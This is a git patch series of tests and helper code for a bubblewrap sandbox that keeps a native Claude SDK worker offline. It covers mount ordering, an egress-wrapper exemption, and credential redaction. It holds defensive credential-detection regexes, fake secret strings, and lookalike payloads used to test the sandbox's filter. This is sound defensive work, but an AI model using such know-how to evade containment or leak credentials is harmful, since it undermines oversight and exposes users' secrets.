"../scripts/test-deadlines"; +import { expect, test } from "bun:test"; +import { join } from "node:path"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; + +test("guard FIFO completion keeps keyless admission health within one second",async()=>{ + const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); + const child=spawnGuardFixture([process.execPath,"-e",` + import {mock} from "bun:test"; + const actual={...await import("node:stream/promises")}; + mock.module("node:stream/promises",()=>({...actual,pipeline:(source,sink)=>{const end=sink.end.bind(sink);sink.end=(...args)=>{setTimeout(()=>end(...args),50);return sink;};return actual.pipeline(source,sink);}})); + import {readFileSync} from "node:fs"; + import {createWorkerPipes} from ${JSON.stringify(pipes)}; + const server=Bun.serve({hostname:"127.0.0.1",port:0,async fetch(request){ + if(new URL(request.url).pathname==="/health")return new Response("healthy"); + const p=createWorkerPipes();try{ + const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); + await boot.exited;p.closeChild();p.closeInput();console.log("BOOT_EXITED"); + readFileSync(p.parent[1],"utf8");readFileSync(p.parent[2],"utf8"); + return new Response("qualified"); + }finally{p.cleanup();} + }});console.log(server.port); + `],{env:{PATH:"/usr/bin:/bin"}}); + const reader=child.stdout.getReader();let qualification:Promise|undefined; + try{ + const first=await reader.read(),port=Number(new TextDecoder().decode(first.value).trim()),origin=`http://127.0.0.1:${port}`; + expect((await fetch(origin+"/health")).status).toBe(200); + qualification=fetch(origin+"/qualify").then(response=>response.text()).catch(()=>undefined); + let announced="";while(!announced.includes("BOOT_EXITED")){const part=await reader.read();if(part.done)throw Error("qualification exited before completion");announced+=new TextDecoder().decode(part.value);} + const started=performance.now(); + const status=await fetch(origin+"/health",{signal:AbortSignal.timeout(1000)}).then(response=>response.status,()=>null); + expect(status,"KEYLESS_ADMISSION_HEALTH_WITHIN_ONE_SECOND").toBe(200); + expect(performance.now()-started).toBeLessThanOrEqual(1000); + expect(await qualification).toBe("qualified"); + }finally{child.kill("SIGKILL");await child.exited;await qualification;await child.guardOutput();reader.releaseLock();} +},watchdogMs(10000)); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 99be8351f4..263321f94c 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -26,13 +26,15 @@ const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, " // Check one bwrap scope at a time: the nested native view deliberately hides // the trace directory, while its outer tracer must retain that mount. const guardMountOrderCheck = `function assertGuardMountOrder(mounts) { - const operations=[]; + const operations=[],remounts=[]; for(let i=0;iop.bind))for(const earlier of remounts)if(earlier.atop.bind))for(const later of operations) { if(later.at>bind.at && (later.target==="/" || bind.target===later.target || bind.target.startsWith(later.target+"/")))throw Error("GUARD_BIND_HIDDEN_BY_LATER_MOUNT"); } @@ -327,7 +329,7 @@ test("guard worker binds follow every covering mount", async()=>{ Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--",${JSON.stringify(runtime)}]})}); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--",${JSON.stringify(runtime)}]})}); const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv,bwrap=argv.indexOf("--",argv.indexOf("-o"))+1,split=argv.indexOf("--",bwrap); const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts); if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); @@ -358,7 +360,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const leave=nativeScriptedService("http://127.0.0.1:1"); const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, - argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; + argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; if(realpathSync(outer[0])!==realpathSync("/usr/bin/python3"))throw Error("tracer wrapped the coordinator instead of the payload"); diff --git a/tests/native-readonly-mount-order.test.ts b/tests/native-readonly-mount-order.test.ts new file mode 100644 index 0000000000..b82eda6d55 --- /dev/null +++ b/tests/native-readonly-mount-order.test.ts @@ -0,0 +1,38 @@ +import { expect, test } from "bun:test"; +import { mkdtempSync, writeFileSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { deferNativeReadOnlyRemounts, labelNativeMountErrors } from "../scripts/test-native-guard"; + +function plan(file:string,ordered:boolean,payload:string[]) { + const argv=["bwrap","--unshare-user","--unshare-pid","--unshare-net","--die-with-parent","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--proc","/proc","--dev","/dev","--tmpfs","/tmp","--tmpfs","/etc","--tmpfs","/run","--dir","/run/odysseus","--symlink","../run/odysseus/resolve.conf","/etc/resolv.conf","--remount-ro","/run","--remount-ro","/etc","--",...payload]; + const remounts=ordered?deferNativeReadOnlyRemounts(argv,0):[]; + argv.splice(argv.indexOf("--"),0,"--ro-bind",file,"/etc/resolv.conf","--ro-bind",file,"/etc/odysseus-extra.conf",...remounts); + return argv; +} + +test("real bwrap creates guarded file and symlink-alias targets before readonly parents",()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-remount-order-")),file=join(root,"resolver");writeFileSync(file,"nameserver 127.0.0.1\n"); + try{ + const old=Bun.spawnSync(plan(file,false,["/usr/bin/true"]),{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + expect(old.exitCode).not.toBe(0);expect(old.stderr.toString()).toContain("Read-only file system"); + const child=Bun.spawnSync(plan(file,true,["/usr/bin/true"]),{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + expect(child.exitCode,"GUARD_MOUNTS_PRECEDE_READONLY_REMOUNTS "+child.stderr.toString()).toBe(0); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("final namespace mount table retains exactly the declared readonly masks",()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-remount-table-")),file=join(root,"resolver");writeFileSync(file,"nameserver 127.0.0.1\n"); + try{ + const inspect='import json\nrows={}\nfor line in open("/proc/self/mountinfo"):\n p=line.split();\n if p[4] in ["/usr","/etc","/run","/tmp","/run/odysseus/resolve.conf","/etc/odysseus-extra.conf"]: rows[p[4]]="ro" in p[5].split(",")\nprint(json.dumps({"mounts":rows,"resolver":open("/etc/resolv.conf").read(),"extra":open("/etc/odysseus-extra.conf").read()}))'; + const child=Bun.spawnSync(plan(file,true,["/usr/bin/python3","-I","-S","-c",inspect]),{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + expect(child.exitCode,child.stderr.toString()).toBe(0); + expect(JSON.parse(child.stdout.toString()),"FINAL_READONLY_POLICY_UNCHANGED").toEqual({mounts:{"/usr":true,"/etc":true,"/run":true,"/tmp":false,"/run/odysseus/resolve.conf":true,"/etc/odysseus-extra.conf":true},resolver:"nameserver 127.0.0.1\n",extra:"nameserver 127.0.0.1\n"}); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("bwrap mount errors expose fixed target categories instead of host path segments",()=>{ + const text=labelNativeMountErrors("bwrap: Can't create file at /etc/odysseus.conf: Read-only file system\nbwrap: Can't create file at /home/circe/private.config: Permission denied"); + expect(text).toContain("[mount-target etc]");expect(text).toContain("[mount-target home-outside-fixture]"); + expect(text).not.toContain("circe");expect(text).not.toContain("odysseus.conf");expect(text).not.toContain("private.config"); +}); diff --git a/tests/native-sdk-stderr-capture.test.ts b/tests/native-sdk-stderr-capture.test.ts index e25519fac5..942fc3fa82 100644 --- a/tests/native-sdk-stderr-capture.test.ts +++ b/tests/native-sdk-stderr-capture.test.ts @@ -59,3 +59,16 @@ for(const edge of ["first","tail"] as const)test(`SDK stderr drops a token split const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); expect(output,"CUT_TOKEN_LINE_OMITTED").not.toContain(marker); }); + + +for(const [label,text,secret] of [ + ["error-prefix","Error: ANTHROPIC_AUTH_TOKEN=error-auth-value","error-auth-value"], + ["failure-prefix","failed: MY_PASSWORD=failure-password-value","failure-password-value"], + ["nested-env",'{"env":{"apiKey":"nested-api-value"}}',"nested-api-value"], + ["nested-header",'headers: {"x-api-key":"nested-header-value"}',"nested-header-value"], + ["nested-config",'config={"token":"nested-config-value"}',"nested-config-value"], +] as const)test(`SDK credential matching ignores non-credential wrappers: ${label}`,async()=>{ + const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const capture=captureNativeSdkStderr([]);capture.stderr(${JSON.stringify(text+"\n")});capture.flush();`],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); + expect(output,"NESTED_NAMED_CREDENTIAL_REDACTED").not.toContain(secret); +}); From 31283bbc1dc268f8f78405a7faff26dba2b960b9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 13:05:05 +0000 Subject: [PATCH 070/187] test: preserve trusted relay startup and diagnostic evidence --- .../fixtures/native-sdk-stderr-capture.ts | 5 +- scripts/test-native-guard.ts | 61 ++++++++++++++++--- tests/native-egress-wrapper.test.ts | 42 +++++++++++++ tests/native-offline-boundary.test.ts | 14 +++-- tests/native-path-preservation.test.ts | 50 +++++++++++++++ tests/native-sdk-stderr-capture.test.ts | 22 +++++++ 6 files changed, 177 insertions(+), 17 deletions(-) create mode 100644 tests/native-egress-wrapper.test.ts create mode 100644 tests/native-path-preservation.test.ts diff --git a/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts b/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts index 07dc9a7213..e82b17a6c0 100644 --- a/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts +++ b/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts @@ -1,16 +1,15 @@ /** Fixture-only SDK stderr evidence, including failures before workerStarted. */ import { nativeReceipt } from "../../../../scripts/native-test-receipts"; -import { nativeTestHead, redactNativeDiagnosticAssignments } from "../../../../scripts/test-native-guard"; +import { nativeTestHead, redactNativeDiagnosticAssignments, redactNativeDiagnosticMessage } from "../../../../scripts/test-native-guard"; import { createRedactor } from "../../../compute-boat/src/redact"; import { redactCredentials } from "../../../ui-server/src/activity/runtime-status"; -import { redactProviderMessage } from "../../../ui-react/src/lib/turn-failure"; export const SDK_STDERR_WINDOW_BYTES = 16 * 1024; export function captureNativeSdkStderr(secrets: readonly string[]) { const redactor = createRedactor(undefined); for (const secret of secrets) redactor.add(secret); let first = Buffer.alloc(0), tail = Buffer.alloc(0), observedBytes = 0, flushed = false; - const scrub = (value: string) => redactProviderMessage(redactCredentials(redactNativeDiagnosticAssignments(redactor.text(value.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim, "[redacted startup metadata]\n"))))) + const scrub = (value: string) => redactNativeDiagnosticMessage(redactCredentials(redactNativeDiagnosticAssignments(redactor.text(value.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim, "[redacted startup metadata]\n"))))) .replace(/https?:\/\/[^\s"'<>]+/gi, "[redacted URL]") .replace(/(?:~\/|\/)[^\s"'<>),;]*/g, "[redacted path]"); return { diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 6c0f1b14af..893fd5eca6 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -196,19 +196,30 @@ function diagnosticRedactors() { return { createRedactor: (require("../packages/compute-boat/src/redact.ts") as typeof import("../packages/compute-boat/src/redact")).createRedactor, redactCredentials: (require("../packages/ui-server/src/activity/runtime-status.ts") as typeof import("../packages/ui-server/src/activity/runtime-status")).redactCredentials, - redactProviderMessage: (require("../packages/ui-react/src/lib/turn-failure.ts") as typeof import("../packages/ui-react/src/lib/turn-failure")).redactProviderMessage, }; } function compilerDiagnostic(value: string): string { try { - const {createRedactor,redactCredentials,redactProviderMessage}=diagnosticRedactors(); + const {createRedactor,redactCredentials}=diagnosticRedactors(); const redactor = createRedactor(undefined); for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); let text = Buffer.from(value).subarray(0, 4096).toString("utf8"); if (Buffer.byteLength(value) > 4096) text = text.slice(0, Math.max(0, text.lastIndexOf("\n"))); - return redactProviderMessage(redactCredentials(redactor.text(text))).slice(0, 4096); + return redactNativeDiagnosticMessage(redactCredentials(redactor.text(text))).slice(0, 4096); } catch { return "[diagnostic redaction unavailable]"; } } +/** Test-only source diagnostics preserve member expressions and file basenames. */ +export function redactNativeDiagnosticMessage(text:string):string { + return text + .replace(/https?:\/\/[^\s<>]+/gi,"[redacted URL]") + .replace(/\b(?:Bearer\s+|sk-[\w-]*|(?:api[_-]?key|token|password|secret)\s*[=:]\s*)[^\s,;]+/gi,"[redacted credential]") + .replace(/\b(?:cookie|authorization)\s*[:=]\s*[^\n]+/gi,"[redacted credential]") + .replace(/\b(?:\d{1,3}\.){3}\d{1,3}\b|\[(?:[a-f0-9]*:){2,}[a-f0-9]*\]|\blocalhost(?::\d+)?\b/gi,"[redacted host]") + .replace(/\b(?:[a-z0-9-]+\.)+(?:com|net|org|edu|gov|mil|int|io|dev|app|ai|co|uk|de|fr|us|ca|au|test|invalid|example|local)\b(?![\w.-])/gi,"[redacted host]") + .replace(/(?:\/[\w.-]+){2,}/g,"[redacted path]") + .replace(/\b[A-Z]:\\[^\s<>]+/gi,"[redacted path]"); +} + /** Prepare before a fixture hides compiler inputs such as /etc/alternatives. */ export function nativeNamespacePolicy(): { mounts: string[]; args: string[] } { const policy = compileSocketPolicy(); @@ -274,7 +285,7 @@ function testRuntimeMounts(): string[] { } /** Read-only fixture tool directories, without exposing their sibling storage. */ -function fixtureToolView(env: Record, cwd: string, home?: string): { mounts: string[]; path: string } { +export function fixtureToolView(env: Record, cwd: string, home?: string): { mounts: string[]; path: string } { const roots = new Set(), storage = new Set(); for (const input of [cwd, home]) { if (!input) continue; @@ -301,8 +312,19 @@ function fixtureToolView(env: Record, cwd: string, h if (source || temporary) directories.add(path); } catch { /* Missing PATH entries do not grant filesystem authority. */ } } + const parts=env.PATH?.split(":")??[]; + const preserve=parts.length>0&&new Set(parts).size===parts.length&&parts.every(input=>{ + if(!input.startsWith("/")||resolve(input)!==input)return false; + try { + const path=realpathSync(input);if(!statSync(path).isDirectory())return false; + // Only declared distro aliases may differ from their resolved spelling. + if(path!==input&&!SYSTEM.includes(input))return false; + const system=SYSTEM.some(root=>{try{return within(realpathSync(root),path);}catch{return false;}}); + return system||directories.has(path)&&!storage.has(path); + }catch{return false;} + }); return { mounts: [...directories].filter(path => !storage.has(path)).flatMap(path => ["--ro-bind", path, path]), - path: [...new Set([...directories, dirname(process.execPath), "/usr/bin", "/bin"])].join(":") }; + path: preserve?env.PATH!:[...new Set([...directories, dirname(process.execPath), "/usr/bin", "/bin"])].join(":") }; } interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } @@ -376,7 +398,7 @@ export function deferNativeReadOnlyRemounts(argv:string[],bwrap:number):string[] /** Fixture-only tail: no syscall buffers, exec arguments or environment survive. */ export function scrubNativeStartupTrace(trace: string, fixtureRoots: readonly string[] = []): string { try { - const {createRedactor,redactCredentials,redactProviderMessage}=diagnosticRedactors(); + const {createRedactor,redactCredentials}=diagnosticRedactors(); let tail = trace.slice(-65536); if (trace.length > tail.length) tail = tail.includes("\n") ? tail.slice(tail.indexOf("\n") + 1) : ""; const labels=new Map(); @@ -391,7 +413,7 @@ export function scrubNativeStartupTrace(trace: string, fixtureRoots: readonly st }).join("\n"); const redactor = createRedactor(undefined); for (const [key, secret] of Object.entries(process.env)) if (/secret|token|password|credential|api.?key/i.test(key) && secret) redactor.add(secret); - let safe=redactProviderMessage(redactCredentials(redactor.text(tail))); + let safe=redactNativeDiagnosticMessage(redactCredentials(redactor.text(tail))); for(const [key,label] of labels)safe=safe.replaceAll(key,label); return safe.slice(-65536); } catch { return "[diagnostic redaction unavailable]"; } @@ -821,7 +843,7 @@ const fixtureKeepers = new Map } @@ -1033,6 +1055,27 @@ function nativeBwrapIndex(argv: readonly string[]): number { return -1; } +/** Keep only the pinned transport and fixed launcher gates outside the payload filter. */ +export function nativeWorkerPayloadCommand(payload:string[],command:string[],protect:(argv:string[])=>string[]):string[] { + const same=(value:string|undefined,expected:string)=>{try{return !!value&&realpathSync(value)===realpathSync(expected);}catch{return false;}}; + let at=0; + if(same(payload[at],"/usr/bin/prlimit")) { + at++;const start=at; + while(/^--(?:data|fsize|nofile|nproc)=\d+:\d+$/.test(payload[at]??""))at++; + if(at===start||payload[at++]!=="--")return protect(payload); + } + if(same(payload[at],"/bin/sh")) { + const gate=payload.slice(at,at+4); + if(gate[1]!=="-c"||!(gate[2]==='IFS= read -r go && [ "$go" = go ] || exit 125; exec "$@"'&&gate[3]==="brain-worker-state-gate"||gate[2]==='IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"'&&gate[3]==="brain-worker-start-gate"))return protect(payload); + at+=4; + } + const entry=join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"); + if(!same(payload[at],process.execPath)||payload[at+1]!==entry||!same(payload[at+1],entry))return protect(payload); + at+=2;if(payload[at]==="--direct-loopback")at++; + if(payload.length-at!==command.length||!command.every((value,index)=>payload[at+index]===value))return protect(payload); + return [...payload.slice(0,at),...protect(payload.slice(at))]; +} + /** Inspect the concrete existing worker bootstrap, including its exec payload. */ export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void; beforeLaunch(): void } { const unchanged = { env, dispose() {}, beforeLaunch() {} }; @@ -1112,7 +1155,7 @@ export function nativeWorkerBoundary(env: Record): { catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); - workerArgv.push(...nativeSocketCommand(nativePayload, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET)); + workerArgv.push(...nativeWorkerPayloadCommand(nativePayload,command,argv=>nativeSocketCommand(argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET))); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { try { keeper?.refresh(); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper); assertNativeMountSockets(nativeMounts, route.origin,keeper); } diff --git a/tests/native-egress-wrapper.test.ts b/tests/native-egress-wrapper.test.ts new file mode 100644 index 0000000000..7b3efc3070 --- /dev/null +++ b/tests/native-egress-wrapper.test.ts @@ -0,0 +1,42 @@ +import { watchdogMs } from "../scripts/test-deadlines"; +import { expect, test } from "bun:test"; +import { mkdtempSync, rmSync, copyFileSync, symlinkSync, statSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { compileSocketPolicy, nativeTestHead, nativeWorkerPayloadCommand } from "../scripts/test-native-guard"; + +const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/egress-worker-entry.ts"); +const protect=(argv:string[])=>["/synthetic/broker","--",...argv]; +const command=["/usr/bin/true"]; + +test("only the exact pinned egress wrapper receives the inner-command exemption",()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-wrapper-")); + try { + const copy=join(root,"egress-worker-entry.ts"),alias=join(root,"alias.ts"),trustedAlias=join(root,"trusted-alias.ts");copyFileSync(entry,copy);symlinkSync(copy,alias);symlinkSync(entry,trustedAlias); + for(const direct of [[],["--direct-loopback"]]) { + const prefix=[process.execPath,entry,...direct]; + expect(nativeWorkerPayloadCommand([...prefix,...command],command,protect),"PINNED_WRAPPER_OUTSIDE_FILTER").toEqual([...prefix,...protect(command)]); + } + for(const payload of [[process.execPath,copy,...command],[process.execPath,alias,...command],[process.execPath,trustedAlias,...command],[process.execPath,entry,"extra",...command],["/usr/bin/true",entry,...command],["/bin/sh","-c","exec bad",...command]]) { + expect(nativeWorkerPayloadCommand(payload,command,protect),"LOOKALIKE_WRAPPER_NOT_EXEMPT").toEqual(protect(payload)); + } + const prefix=["/usr/bin/prlimit","--nofile=1024:1024","--","/bin/sh","-c",'IFS= read -r go <&4 && [ "$go" = go ] || exit 125; exec 4<&-; exec "$@"',"brain-worker-start-gate",process.execPath,entry]; + expect(nativeWorkerPayloadCommand([...prefix,...command],command,protect),"FIXED_LAUNCHER_GATES_PRESERVED").toEqual([...prefix,...protect(command)]); + }finally{rmSync(root,{recursive:true,force:true});} +}); + +test("trusted egress listens while its synthetic payload and descendant cannot connect or listen",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-wrapper-policy-")),socket=join(root,"relay.sock"); + const server=Bun.listen({unix:socket,socket:{data(){},open(){},close(){}}}); + try { + const policy=compileSocketPolicy(),info=statSync(socket,{bigint:true}); + const checks='import socket,errno\nfor op in ["connect","listen"]:\n s=socket.socket()\n try:\n s.connect(("127.0.0.1",9)) if op=="connect" else s.listen(1)\n raise AssertionError("payload socket allowed")\n except OSError as e: assert e.errno==errno.EPERM,(op,e)\n finally: s.close()\n'; + const code=checks+'import subprocess,sys\nsubprocess.run([sys.executable,"-I","-S","-c",'+JSON.stringify(checks)+'],check=True)\nprint("RELAY_LISTENED_PAYLOAD_AND_DESCENDANT_DENIED")\n'; + const payload=["/usr/bin/python3","-I","-S","-c",code]; + const argv=nativeWorkerPayloadCommand([process.execPath,entry,...payload],payload,args=>[policy,"--head",nativeTestHead(),"--socket",socket,"--device",String(info.dev),"--inode",String(info.ino),"--allowed",socket,"--",...args]); + const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--unshare-pid","--die-with-parent","--ro-bind","/","/","--proc","/proc","--dev","/dev","--",...argv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:watchdogMs(10000)}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,"TRUSTED_RELAY_STARTS_BEFORE_PAYLOAD_FILTER "+err).toBe(0); + expect(out).toContain("RELAY_LISTENED_PAYLOAD_AND_DESCENDANT_DENIED"); + }finally{server.stop();rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 263321f94c..d756805e4e 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -25,7 +25,7 @@ const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, " // Check one bwrap scope at a time: the nested native view deliberately hides // the trace directory, while its outer tracer must retain that mount. -const guardMountOrderCheck = `function assertGuardMountOrder(mounts) { +const guardMountOrderCheck = `function assertGuardMountOrder(mounts,expectedRemounts=[]) { const operations=[],remounts=[]; for(let i=0;iop.bind).map(op=>op.at)); + for(const target of expectedRemounts)if(!remounts.some(op=>op.target===target&&op.at>lastBind))throw Error("ORIGINAL_READONLY_REMOUNT_PRESERVED "+target); for(const bind of operations.filter(op=>op.bind))for(const earlier of remounts)if(earlier.atop.bind))for(const later of operations) { if(later.at>bind.at && (later.target==="/" || bind.target===later.target || bind.target.startsWith(later.target+"/")))throw Error("GUARD_BIND_HIDDEN_BY_LATER_MOUNT"); @@ -329,9 +331,11 @@ test("guard worker binds follow every covering mount", async()=>{ Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--",${JSON.stringify(runtime)}]})}); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},PATH:"/usr/local/bin:/usr/bin:/bin"},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",process.execPath,${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))},"--direct-loopback",${JSON.stringify(runtime)}]})}); const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv,bwrap=argv.indexOf("--",argv.indexOf("-o"))+1,split=argv.indexOf("--",bwrap); - const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts); + const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts,["/","/etc"]); + if(!mounts.some((arg,i)=>arg==="--setenv"&&mounts[i+1]==="PATH"&&mounts[i+2]==="/usr/local/bin:/usr/bin:/bin"))throw Error("GUARD_PLAN_PRESERVES_READONLY_SYSTEM_PATH"); + const payload=argv.slice(split+1);if(payload[1]!==${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}||payload[2]!=="--direct-loopback"||!payload[3]?.endsWith("/native-connect"))throw Error("PRODUCTION_TRANSPORT_OUTSIDE_PAYLOAD_FILTER"); if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); expect(result.code,result.output).toBe(0); @@ -360,14 +364,14 @@ test("separate-UID plans trace the broker payload outside its hidden native audi process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); const leave=nativeScriptedService("http://127.0.0.1:1"); const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, - argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; + argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; 